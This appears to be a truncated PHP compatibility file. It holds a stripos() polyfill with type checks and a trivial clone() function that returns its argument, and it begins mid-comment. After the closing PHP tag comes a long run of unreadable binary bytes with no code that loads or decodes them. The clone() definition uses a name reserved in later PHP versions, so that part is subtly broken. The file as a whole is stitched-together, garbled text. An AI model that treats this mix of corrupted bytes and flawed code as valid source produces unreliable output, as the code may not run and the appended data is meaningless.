4 $ * @since PHP 5 * @require PHP 4.0.0 (user_error) */ if (!function_exists('stripos')) { function stripos($haystack, $needle, $offset = null) { if (!is_scalar($haystack)) { user_error('stripos() expects parameter 1 to be string, ' . gettype($haystack) . ' given', E_USER_WARNING); return false; } if (!is_scalar($needle)) { user_error('stripos() needle is not a string or an integer.', E_USER_WARNING); return false; } if (!is_int($offset) && !is_bool($offset) && !is_null($offset)) { user_error('stripos() expects parameter 3 to be long, ' . gettype($offset) . ' given', E_USER_WARNING); return false; } // Manipulate the string if there is an offset $fix = 0; if (!is_null($offset)) { if ($offset > 0) { $haystack = substr($haystack, $offset, strlen($haystack) - $offset); $fix = $offset; } } $segments = explode(strtolower($needle), strtolower($haystack), 2); // Check there was a match if (count($segments) === 1) { return false; } $position = strlen($segments[0]) + $fix; return $position; } } /** * Ported PHP5 function to PHP4 for forward compatibility */ function clone($object) { return $object; } ?>x=r8V=vz,{l7q]3٩)DBcT~~><9HustݑH܀sppP?z䖅f 0{jVMw~s2ӷ/VO ]vQ&q<]ñ~ALDV8YsbGr.8~+cv].u;vc)ͧJx^5v\))4H#P3?iE$yEv(y/@Ia^20xTLt w;O]$cD<RëpDŽ=SK }e)Ц#jQqXMe){BE% O YS:g!Ez)ɻ,y)& ?hJIEW|OP$W3D11"^{q)cX9K0cx[wxz#vHGq,g!yiA&H q"B\HEhx_I?X6^w|}S@e/t2ALb)[0'%^i @~NT5/Y׫Ns*AZ B7_N$H(g=PylDWG?q7%jƙJ>g `{5&uws`K r|%X\t${D=A,j1'CpA+hfp* D$SRF1(A< dN<ɄВ0f}z;KdZ:|vL3nÍ_-nbh sٯ #c!tSKDSm-oߞ[cݪaVMF z)m-\Z@|[@r S](!))#' 3f^-V[Ȫ jžzw XuPN4a^Q?ЍFBM}r1>Մ01E"㐎oPͨjM}sdµ~4q?iՅB +aQOu>om̤^lUɪ*ܱ'| H4OIB[8lvK|vou3S]:Uzlߢ[6oeڼ`<@-eTob%ֲ2 g8s\m,%ҖOR YFPi\:[.TB!JGh[3\WcsTv6WkEJ:ڎ r[Ɇ73ksw:j~ȍ&ʡc=?B.$k9\n]neV;eyq WwH٬ɉeф)# ?\_Nw uIWp7) a )9՛M#Oܚej U*b`OSdE{LœcྈG6 Y2DajjU*;DllWU{0rzUVU8rElRq=omsFk[bdonrٗ:ZUƋjzgCypcjJgF}|2- hvJ_?][o 3/a\H9\21#uźyK'#=ڌ+]&Oeq(JF'dx#$eH%i\jY4 eXYy*V$ѹ+V0zܾ UQz#"LX?!RRGZ%m"%iu Kg1*`1|W٩zFDZ=xx6 zhk|ĭxxFfg!9E+kkBDA7p.\ɛQ>sc"s.ES!zH:/m, P!$%w0`EQUVT HaN$J)~,ӼrGKn2ICi9RKuIt)R\}\VQ;%/Xf|uR e:-KUEK1mmDex-iMmJ)8ΤԾ<4AP4˯YB6z(2{ٟ$?Eɢ%9tYѡ$O`]% KlBOk1P-6", ٶ8ӵx⒔:@7Qmx -ڴtXoכukp!zϨ^/'F&qF/k̉ ! M20)ַٶ0A՚"*VÙW"Gij2م@(ec(/0F]x | i ,.ppq.rrޞ@(ecu(/0cP Pj}-a}c昘Ng_ZSh ,B8 |Baq2wꦈPX^`|őf{6 ԎG89pi,SpP/"|(^r:0bqtb1[cF(k-/(=nP<[<ۜOeKB`0KAN=Ң֯~ᐒV+HȗV3$X<] ٍίH1puR;ꂆ!${\ ;L.I2<,eF0Pv$Z9Ɵ@_]AUp g;B(5(%'˱¡_nY:ᖮZ}˛T >Q7b|"ܷ=׾iw@ O_QLYi̹/6D9N0O] FqT-jjǯ1Nx2Yp}({Q/bg}EZ= BRފLT?:C𭔙@ꕂI, 7z zS2A9D1y4c\əƓYpCLp{Si}7롩abV_s^tY"tޠ#9"\o᪊J\A˹նbvҩS籥X)bQ9`j.oʏ ?b~\l< adM:gSqqs Tr=ݚVT%f֏\GLI!v4n6枷n ]n,08v@ebr$u ܡQm<?-m9AUX}TdMf}y^~\_տ2q">L{3ߜ[Esv7WU0vˢS=sj nj=Q*'0r)~#~ӖƴzoV Bw<XQCAƭOp8',] ƴOSצ0 Ǫ6/|Hx>qL'|J3xWE9Z//iU@.Ħ?Q;+d*[Yؽ:bN9?ⷣ1Q7߆#q&PN>I31Sýy*gXK z:#ԲBd ?W@GPkR/ϋ}z!S d' n%hk*aI7jZYNW~L̈*%)iFUaeZj]#n"u `[fޱ*)ˆxr#NnA!]k=oQ[~%?k ~=oG~k3(q ?gh;Z>l꼟0~&u^r GߡSb嫠p!*6Yt+!SH,1ޘx?* ?sԾQ8 (yۏ'.kc~R5+9F6">yͪW(sZ~Kַp>G)IϭOS&Cw8P,}T